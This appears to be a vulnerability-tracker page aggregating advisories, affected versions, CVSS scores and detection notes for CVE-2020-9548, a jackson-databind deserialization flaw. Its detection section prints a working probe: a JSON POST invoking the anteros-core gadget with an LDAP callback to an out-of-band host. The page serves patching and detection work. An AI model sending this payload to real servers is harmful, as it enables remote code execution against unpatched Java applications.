CVE-2020-9548
published 2020-03-02CVE-2020-9548: FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to…
PriorityP180critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
18.34%
96.9th percentile
FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
Affected
51 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | debian_linux | — | — |
| debian | jackson-databind | < jackson-databind 2.11.1-1 (bookworm) | jackson-databind 2.11.1-1 (bookworm) |
| fasterxml | jackson-databind | >= 0 < 2.11.1-1 | 2.11.1-1 |
| fasterxml | jackson-databind | >= 0 < 2.11.1-1 | 2.11.1-1 |
| fasterxml | jackson-databind | >= 0 < 2.11.1-1 | 2.11.1-1 |
| fasterxml | jackson-databind | >= 0 < 2.11.1-1 | 2.11.1-1 |
| fasterxml | jackson-databind | >= 0 < 2.4.2-3ubuntu0.1~esm2 | 2.4.2-3ubuntu0.1~esm2 |
| fasterxml | jackson-databind | >= 2.0.0 < 2.7.9.7 | 2.7.9.7 |
| fasterxml | jackson-databind | >= 2.8.0 < 2.8.11.6 | 2.8.11.6 |
| fasterxml | jackson-databind | >= 2.9.0 < 2.9.10.4 | 2.9.10.4 |
| netapp | active_iq_unified_manager | >= 7.3 | — |
| netapp | active_iq_unified_manager | >= 9.5 | — |
| oracle | agile_plm | — | — |
| oracle | autovue_for_agile_product_lifecycle_management | — | — |
| oracle | banking_digital_experience | — | — |
| oracle | banking_digital_experience | — | — |
| oracle | banking_digital_experience | — | — |
| oracle | banking_digital_experience | — | — |
| oracle | banking_digital_experience | — | — |
| oracle | banking_digital_experience | — | — |
| oracle | banking_platform | 2.4.0 – 2.9.0 | — |
| oracle | communications_calendar_server | — | — |
| oracle | communications_contacts_server | — | — |
| oracle | communications_contacts_server | — | — |
| oracle | communications_diameter_signaling_router | 8.0.0 – 8.2.2 | — |
Detection & IOCsextracted from sources · hover to see the quote
commandPOST / HTTP/1.1
Content-Type: application/json
["br.com.anteros.dbcp.AnterosDBCPConfig",{"healthCheckRegistry": "ldap://{{interactsh-url}}"}]↗
- →Out-of-band DNS/LDAP callback detection: monitor for unexpected outbound LDAP connections originating from the Java application server following receipt of a JSON deserialization payload. ↗
- →Response-based detection: a response body containing 'Error: Class' with content-type 'text/plain' alongside a DNS interaction indicates a vulnerable endpoint probed with the anteros-core gadget. ↗
- →Polymorphic deserialization must be enabled for this vulnerability to be exploitable; audit Jackson ObjectMapper configurations for enableDefaultTyping() or @JsonTypeInfo usage. ↗
- ·Vulnerability only exploitable when polymorphic deserialization (default typing) is enabled in the Jackson ObjectMapper configuration. ↗
- ·OpenDaylight ships the vulnerable jackson-databind but does not expose it in a way that makes it exploitable, reducing effective attack surface. ↗
- ·OpenShift Container Platform elasticsearch plugins ship the vulnerable component but do not perform the unsafe deserialization operations required for exploitation. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.8MEDIUMAV:N/AC:M/Au:N/C:P/I:P/A:P
osv9.8CRITICAL
vulncheck9.8CRITICAL
vendor_debian9.8CRITICAL
vendor_redhat9.8CRITICAL
vendor_ubuntu9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
jackson-databind vulnerabilities
osv·2021-03-15·CVSS 9.8
CVE-2018-11307 [CRITICAL] jackson-databind vulnerabilities
jackson-databind vulnerabilities
It was discovered that Jackson Databind incorrectly handled
deserialization. An attacker could possibly use this issue to obtain
sensitive information. (CVE-2018-11307, CVE-2019-12086, CVE-2019-12814)
It was discovered that Jackson Databind incorrectly handled
deserialization. An attacker could possibly use this issue to execute
arbitrary code or other unspecified impact. (CVE-2018-12022,
CVE-2018-12023, CVE-2018-14718, CVE-2018-14719, CVE-2018-19360,
CVE-2018-19361, CVE-2018-19362, CVE-2019-12384, CVE-2019-14379,
CVE-2019-14439, CVE-2019-14540, CVE-2019-16335, CVE-2019-16942,
CVE-2019-16943, CVE-2019-17267, CVE-2019-17531, CVE-2019-20330,
CVE-2020-10672, CVE-2020-10673, CVE-2020-10968, CVE-2020-10969,
CVE-2020-11111, CVE-2020-11112, CVE-2020-11113, CVE-2
OSV
jackson-databind mishandles the interaction between serialization gadgets and typing
osv·2020-05-15
CVE-2020-9548 [CRITICAL] jackson-databind mishandles the interaction between serialization gadgets and typing
jackson-databind mishandles the interaction between serialization gadgets and typing
FasterXML jackson-databind 2.x before 2.9.10.4, 2.8.11.6, and 2.7.9.7 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
GHSA
jackson-databind mishandles the interaction between serialization gadgets and typing
ghsa·2020-05-15
CVE-2020-9548 [CRITICAL] CWE-502 jackson-databind mishandles the interaction between serialization gadgets and typing
jackson-databind mishandles the interaction between serialization gadgets and typing
FasterXML jackson-databind 2.x before 2.9.10.4, 2.8.11.6, and 2.7.9.7 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
OSV
CVE-2020-9548: FasterXML jackson-databind 2
osv·2020-03-02·CVSS 9.8
CVE-2020-9548 [CRITICAL] CVE-2020-9548: FasterXML jackson-databind 2
FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
VulnCheck
fasterxml jackson-databind Deserialization of Untrusted Data
vulncheck·2020·CVSS 9.8
CVE-2020-9548 [CRITICAL] fasterxml jackson-databind Deserialization of Untrusted Data
fasterxml jackson-databind Deserialization of Untrusted Data
FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
Affected: fasterxml jackson-databind
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://www.cloudsek.com/blog/androxgh0st-continues-exploitation-operators-compromise-a-us-university-for-hosting-c2-logger
Ubuntu
Jackson Databind vulnerabilities
vendor_ubuntu·2021-03-15·CVSS 9.8
CVE-2019-14540 [CRITICAL] Jackson Databind vulnerabilities
Title: Jackson Databind vulnerabilities
Summary: Several security issues were fixed in Jackson Databind.
It was discovered that Jackson Databind incorrectly handled
deserialization. An attacker could possibly use this issue to obtain
sensitive information. (CVE-2018-11307, CVE-2019-12086, CVE-2019-12814)
It was discovered that Jackson Databind incorrectly handled
deserialization. An attacker could possibly use this issue to execute
arbitrary code or other unspecified impact. (CVE-2018-12022,
CVE-2018-12023, CVE-2018-14718, CVE-2018-14719, CVE-2018-19360,
CVE-2018-19361, CVE-2018-19362, CVE-2019-12384, CVE-2019-14379,
CVE-2019-14439, CVE-2019-14540, CVE-2019-16335, CVE-2019-16942,
CVE-2019-16943, CVE-2019-17267, CVE-2019-17531, CVE-2019-20330,
CVE-2020-10672, CVE-2020-10673, CVE-2020-109
Red Hat
jackson-databind: Serialization gadgets in anteros-core
vendor_redhat·2020-03-02·CVSS 9.8
CVE-2020-9548 [CRITICAL] CWE-502 jackson-databind: Serialization gadgets in anteros-core
jackson-databind: Serialization gadgets in anteros-core
FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
A flaw was found in jackson-databind 2.x. FasterXML jackson-databind 2.x mishandles the interaction between serialization gadgets and typing. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.
Statement: Red Hat OpenStack Platform ships OpenDaylight, which contains the vulnerable jackson-databind. However, OpenDaylight does not expose jackson-databind in a way that would make it vulnerable, lowering the impact of the vulnerability for OpenDaylight. As such, Red Hat will not be providing
Debian
CVE-2020-9548: jackson-databind - FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction betwee...
vendor_debian·2020·CVSS 9.8
CVE-2020-9548 [CRITICAL] CVE-2020-9548: jackson-databind - FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction betwee...
FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
Scope: local
bookworm: resolved (fixed in 2.11.1-1)
bullseye: resolved (fixed in 2.11.1-1)
forky: resolved (fixed in 2.11.1-1)
sid: resolved (fixed in 2.11.1-1)
trixie: resolved (fixed in 2.11.1-1)
No detection rules found.
Nuclei
FasterXML Jackson Databind <=2.9.10.4 - Remote Code Execution
nuclei·CVSS 9.8
CVE-2020-9548 [CRITICAL] FasterXML Jackson Databind <=2.9.10.4 - Remote Code Execution
FasterXML Jackson Databind <=2.9.10.4 - Remote Code Execution
FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
Template:
id: CVE-2020-9548
info:
name: FasterXML Jackson Databind <=2.9.10.4 - Remote Code Execution
author: tomaquet18
severity: critical
description: |
FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
impact: |
Remote attackers can execute arbitrary code during deserialization, potentially leading to full system compromise.
remediation: |
Update to version 2.9.10.4 or later.
reference:
- https://nvd.nist.go
Tenable
Oracle October 2022 Critical Patch Update Addresses 179 CVEs
blogs_tenable·2022-10-19
Oracle October 2022 Critical Patch Update Addresses 179 CVEs
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Bugzilla
CVE-2020-9548 jackson-databind: Serialization gadgets in anteros-core [fedora-all]
bugzilla·2020-03-23·CVSS 9.8
CVE-2020-9548 [CRITICAL] CVE-2020-9548 jackson-databind: Serialization gadgets in anteros-core [fedora-all]
CVE-2020-9548 jackson-databind: Serialization gadgets in anteros-core [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple supported ver
Bugzilla
CVE-2020-9548 jackson-databind: Serialization gadgets in anteros-core
bugzilla·2020-03-23·CVSS 9.8
CVE-2020-9548 [CRITICAL] CVE-2020-9548 jackson-databind: Serialization gadgets in anteros-core
CVE-2020-9548 jackson-databind: Serialization gadgets in anteros-core
FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
Upstream issue:
https://github.com/FasterXML/jackson-databind/issues/2634
Discussion:
Created jackson-databind tracking bugs for this issue:
Affects: fedora-all [bug 1816343]
---
This vulnerability is out of security support scope for the following products:
* Red Hat Jboss Fuse 6
* Red Hat JBoss A-MQ 6
Please refer to https://access.redhat.com/support/policy/updates/jboss_notes
for more details.
---
Upstream fix:
https://github.com/FasterXML/jackson-databind/commit/9f4e97019fb0dd836533d0b6198c88787e235ae2
---
Statement:
Red
Bugzilla
CVE-2020-9548 jackson-databind: Serialization gadgets in anteros-core [fedora-all]
bugzilla·2020-03-23·CVSS 9.8
CVE-2020-9548 [CRITICAL] CVE-2020-9548 jackson-databind: Serialization gadgets in anteros-core [fedora-all]
CVE-2020-9548 jackson-databind: Serialization gadgets in anteros-core [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple supported ver
https://github.com/FasterXML/jackson-databind/issues/2634https://lists.apache.org/thread.html/r35d30db00440ef63b791c4b7f7acb036e14d4a23afa2a249cb66c0fd%40%3Cissues.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/r9464a40d25c3ba1a55622db72f113eb494a889656962d098c70c5bb1%40%3Cdev.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/r98c9b6e4c9e17792e2cd1ec3e4aa20b61a791939046d3f10888176bb%40%3Cissues.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/rb6fecb5e96a6d61e175ff49f33f2713798dd05cf03067c169d195596%40%3Cissues.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/rd5a4457be4623038c3989294429bc063eec433a2e55995d81591e2ca%40%3Cissues.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/rdd49ab9565bec436a896bc00c4b9fc9dce1598e106c318524fbdfec6%40%3Cissues.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/rdd4df698d5d8e635144d2994922bf0842e933809eae259521f3b5097%40%3Cissues.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/rf1bbc0ea4a9f014cf94df9a12a6477d24a27f52741dbc87f2fd52ff2%40%3Cissues.geode.apache.org%3Ehttps://lists.debian.org/debian-lts-announce/2020/03/msg00008.htmlhttps://medium.com/%40cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062https://security.netapp.com/advisory/ntap-20200904-0006/https://www.oracle.com/security-alerts/cpujan2021.htmlhttps://www.oracle.com/security-alerts/cpujul2020.htmlhttps://www.oracle.com/security-alerts/cpuoct2020.htmlhttps://www.oracle.com/security-alerts/cpuoct2021.htmlhttps://github.com/FasterXML/jackson-databind/issues/2634https://lists.apache.org/thread.html/r35d30db00440ef63b791c4b7f7acb036e14d4a23afa2a249cb66c0fd%40%3Cissues.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/r9464a40d25c3ba1a55622db72f113eb494a889656962d098c70c5bb1%40%3Cdev.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/r98c9b6e4c9e17792e2cd1ec3e4aa20b61a791939046d3f10888176bb%40%3Cissues.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/rb6fecb5e96a6d61e175ff49f33f2713798dd05cf03067c169d195596%40%3Cissues.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/rd5a4457be4623038c3989294429bc063eec433a2e55995d81591e2ca%40%3Cissues.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/rdd49ab9565bec436a896bc00c4b9fc9dce1598e106c318524fbdfec6%40%3Cissues.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/rdd4df698d5d8e635144d2994922bf0842e933809eae259521f3b5097%40%3Cissues.zookeeper.apache.org%3Ehttps://lists.apache.org/thread.html/rf1bbc0ea4a9f014cf94df9a12a6477d24a27f52741dbc87f2fd52ff2%40%3Cissues.geode.apache.org%3Ehttps://lists.debian.org/debian-lts-announce/2020/03/msg00008.htmlhttps://medium.com/%40cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062https://security.netapp.com/advisory/ntap-20200904-0006/https://www.oracle.com/security-alerts/cpujan2021.htmlhttps://www.oracle.com/security-alerts/cpujul2020.htmlhttps://www.oracle.com/security-alerts/cpuoct2020.htmlhttps://www.oracle.com/security-alerts/cpuoct2021.html
2020-03-02
Published
Exploited in the wild